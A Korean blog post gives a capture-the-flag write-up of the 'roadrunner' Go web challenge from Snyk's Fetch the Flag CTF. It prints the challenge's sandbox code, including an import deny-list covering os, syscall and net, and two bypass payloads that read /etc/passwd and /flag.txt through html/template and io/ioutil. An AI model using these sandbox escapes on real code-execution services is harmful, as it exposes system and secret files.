티스토리 뷰

728x90
반응형

Introduction

Fetch the Flag CTF는 Synk 에서 개최한 CTF였습니다.

Synk은 오픈소스의 취약점을 관리하면서 관련 취약점을 찾아주는 서비스도 제공하고 있는 것 같습니다.

예전에 저도 오픈 소스 취약점 찾아서 Synk에 제보하고서 CVE를 획득해본 경험도 가지고 있는데요.

 

이번에 이곳에서 CTF를 개최한다고 해서 흥미로운 마음으로 참여를 해보았습니다.

문제 종류는 웹, 포렌식, 리버싱, 악성코드 등이 있었던 것으로 기억됩니다.

 

생각 외로 문제 하나하나가 난이도가 높은 수준은 아니었던 것 같아서 초보자들도 쉽게 접근할 수 있었던 문제 구성이었던 것 같습니다.

 

저도 이번에 그래서 한번도 시도해보지 않은 종류의 문제도 풀어볼 수 있었는데요. 특히 악성코드가 작성된 python package 설치 모듈 문제가 있었는데 신박했던 것 같습니다.

 

이번 포스팅에서는 Go 언어로 작성된 웹문제 roadrunner 에 대해서 풀이해볼 생각입니다.

 

Writeup

package main

import (
	"fmt"
	"os"
	"os/exec"
	"io/ioutil"
	"strings"
	"go/parser"
	"go/token"
	"net/http"
	"encoding/json"
	"html/template"
	"path/filepath"
)

const (
	PORT = 8000
	BIN_NAME="sandbox"
	FILENAME = "main.go"
)

func main() {
	fmt.Println("Roadrunner running! 🏃")
	fmt.Printf("Access at: http://127.0.0.1:%d\n", PORT)
	http.HandleFunc("/", welcome)
	http.HandleFunc("/run", runner)
	// http.HandleFunc("/flag", getflag)
	http.ListenAndServe(fmt.Sprintf(":%d", PORT), nil)
}

type Sandbox struct {
	Script string `json:"script"`
	Result string
	dirname string
}

// func getflag(w http.ResponseWriter, r *http.Request) {
//     data, err := os.ReadFile("./flag.txt")
//     if err != nil {
// 		http.Error(w, err.Error(), http.StatusInternalServerError)
// 	} 
//     w.Write([]byte(string(data)))
// }

func (s* Sandbox) sanitizeScript() (bool, error) {
	fset := token.NewFileSet()
	f, err := parser.ParseFile(fset, "main.go", *&s.Script, 0)
	if err != nil {
		return false, err
	}

	for _, s := range f.Imports {
		switch val := strings.Trim(s.Path.Value,"\""); val {
		case "io", "os", "bufio":
			return false, fmt.Errorf("File manipulating packages (like %s) are forbidden! 😤", val)
		case "syscall":
			return false, fmt.Errorf("No syscalls please 🙏")
		case "net":
			return false, fmt.Errorf("Networking doesn't fly either...🙅🏼‍♀️🦅")
		}
	}

	return true, err
}

func (s* Sandbox) writeScriptToFile() error {
	var err error
	if len(s.dirname) == 0 { 
		s.dirname, err = ioutil.TempDir("", "exec")
		if err != nil {
			return fmt.Errorf("Temp dir creation failed")
		}
	}

	source := filepath.Join(s.dirname, FILENAME)
	if err := ioutil.WriteFile(source, []byte(*&s.Script), 0666); err != nil {
		return fmt.Errorf("Writing script to tmp file failed.")
	}

	return nil
}

func (s* Sandbox) runScript() (string, error) {
	filepath := filepath.Join(s.dirname, FILENAME)
	fmt.Println("Script running from ", filepath)
	// go build
	cmd := &exec.Cmd {
		Path: "/usr/local/go/bin/go",
		Args: []string{ "go", "build", "-gcflags", "-N", "-o" ,BIN_NAME, FILENAME },
		Dir: s.dirname,
		Stdout: os.Stdout,
		Stderr: os.Stdout,
	}

	err := cmd.Start();
	if err != nil {
		return "", err
	}

	err = cmd.Wait()
	if err != nil {
		return "", err
	}
	
	// execute binary
	cmd = &exec.Cmd {
		Path: BIN_NAME,
		Args: []string{ BIN_NAME },
		Dir: s.dirname,
	}

	out, _ := cmd.CombinedOutput()
	return string(out), nil
}

func runner(w http.ResponseWriter, r *http.Request) {
	// res := Res{}
	sbx := Sandbox{} 
	err := json.NewDecoder(r.Body).Decode(&sbx)
    if err != nil {
        sbx.Result = err.Error()
        w.Write([]byte(sbx.Result))
		return   
	}
	
	sbx.writeScriptToFile()
	defer os.RemoveAll(sbx.dirname)

	if resSanitize, err := sbx.sanitizeScript(); !resSanitize {
		sbx.Result = err.Error()
	} else {
		resRun, err := sbx.runScript()
		if err != nil {
			sbx.Result = err.Error()
		} else {
			sbx.Result = resRun
		}
	}

	w.Write([]byte(sbx.Result))
}

func welcome(w http.ResponseWriter, r *http.Request) {
	t, _ := template.ParseFiles("./index.html")
    t.Execute(w, nil)
}

위 소스코드는 문제에서 제공되었습니다. 라우팅 경로는 / 와 /run 이 있었고, /flag 는 주석처리되어 있었습니다.

 

getflag 함수를 보면 flag.txt 파일의 위치를 짐작할 수 있게 해줍니다. 그리고 Go 언어에서는 파일을 읽어올 때 어떻게 코드를 작성하는지 샘플로도 보여주는 느낌입니다.

 

/run 경로로 매핑된 함수는 runner 함수입니다. runner 함수에서는 HTTP Post 요청으로 들어온 body json 데이터를 파싱해서 실제 Go 스크립트 파일로 작성한 뒤 실행하고 있습니다. 다만 실행 전에 sanitizeScript 함수가 실행되서 import 구문으로 특정 모듈은 사용할 수 없도록 제한하고 있습니다.

func (s* Sandbox) sanitizeScript() (bool, error) {
	fset := token.NewFileSet()
	f, err := parser.ParseFile(fset, "main.go", *&s.Script, 0)
	if err != nil {
		return false, err
	}

	for _, s := range f.Imports {
		switch val := strings.Trim(s.Path.Value,"\""); val {
		case "io", "os", "bufio":
			return false, fmt.Errorf("File manipulating packages (like %s) are forbidden! 😤", val)
		case "syscall":
			return false, fmt.Errorf("No syscalls please 🙏")
		case "net":
			return false, fmt.Errorf("Networking doesn't fly either...🙅🏼‍♀️🦅")
		}
	}

	return true, err
}

switch ~ case 문으로 io, os, bufio, syscall, net 모듈을 import 해올 수 없도록 막고 있었는데요. Go 언어를 잘 몰랐던 저로서는 그래도 예전에 다른 언어의 문제에서 나왔던 것처럼 다른 모듈에서 내부적으로 파일을 읽어와서 그 내용을 가져오는 코드가 있을 것으로 추정되는 함수를 탐색했습니다.

 

그리고 그 결과로 / index 경로에 매핑되어 있는 welcome 함수에 나온 것처럼 template.ParseFiles 함수를 사용하면 특정 파일의 내용을 대신해서 가져올 수 있지 않을까 생각되었습니다.

func welcome(w http.ResponseWriter, r *http.Request) {
	t, _ := template.ParseFiles("./index.html")
	t.Execute(w, nil)
}

https://pkg.go.dev/html/template#Template.Execute

 

template package - html/template - Go Packages

This example demonstrates one way to share some templates and use them in different contexts. In this variant we add multiple driver templates by hand to an existing bundle of templates. package main import ( "io" "log" "os" "path/filepath" "text/template"

pkg.go.dev

Execute 함수에서 ParseFiles 로 가져온 data object 로부터 본격적으로 템플릿을 파싱하는 작업을 수행한다고 합니다. 그리고 그 결과를 첫번째 파라미터로 들어온 내용에 작성한다고 합니다.

 

근데 Execute 함수의 첫번째 파라미터의 타입이 Writer 타입이었는데 아래와 같습니다.

type Writer interface {
	Write(p []byte) (n int, err error)
}

[]byte 타입이 들어간다고 합니다. 임의의 문자열을 정의하기 위해서 어떻게 해야하나 찾아봤는데 아래 내용을 발견할 수 있었습니다.

https://pkg.go.dev/strings#example-Builder

 

strings package - strings - Go Packages

Title returns a copy of the string s with all Unicode letters that begin words mapped to their Unicode title case. Deprecated: The rule Title uses for word boundaries does not handle Unicode punctuation properly. Use golang.org/x/text/cases instead. packag

pkg.go.dev

그리고 아래와 같이 페이로드를 작성해봤을 때 임의 파일을 읽어오는 코드를 구현할 수 있었습니다.

package main

import (
    "fmt"
    "html/template"
    "strings"
)

func main(){
    var out strings.Builder
    t, _ := template.ParseFiles("/etc/passwd")
    t.Execute(&out, nil)
    fmt.Println(out.String())
}

 

이렇게 template 모듈로도 필터링을 우회할 수 있었고, 이외에도 다른 방법을 하나 더 찾았었습니다. 바로 ioutil을 이용하는 것이었습니다. ioutil은 io 모듈 하위에 있는 모듈이지만, 위 필터링 코드에서는 swtich ~ case 문으로 막고 있었기 때문에 완전히 os 하나만 가져오는 것이 아니라 하위 모듈을 직접적으로 가져오는 import 문이라면 허용되지 않을까 싶었습니다.

package main

import (
	"fmt"
	"io/ioutil"
)

func main() {
	targetFile := "/flag.txt"
	file, _ := ioutil.ReadFile(targetFile)
	fmt.Printf("%s", file)
}

그리고 위와 같이 코드를 작성해서 문제를 풀 수 있었습니다.

 

Conclusion

단순한 특정 문자열만 비교하는 switch ~ case 문도 문제였지만, io 관련 모듈 외에 template 모듈로도 파일을 읽어올 수 있다는 것을 의도한 문제였던 것 같습니다. Golang은 예전에 hyperledger 오픈소스프로젝트 공부할 때 잠깐 다뤄본 거 외에는 별도로 다뤄본 적 없었는데, 이렇게 다시 상기할 수 있어서 반가웠던 문제였던 것 같습니다.

 

운이 좋아 총 519팀 중에서 상위 10등 내로 들어갈 수 있었고, 상품 내용은 나중에 받게 되면 내용 공유 해보도록 하겠습니다.

 

문제 자체는 여러 문제를 풀었지만, 이후 포스팅하게 될 문제로는 개인적으로 흥미로웠던 문제를 포스팅하게 될 것 같습니다.

 

- 끝 -

728x90
반응형
댓글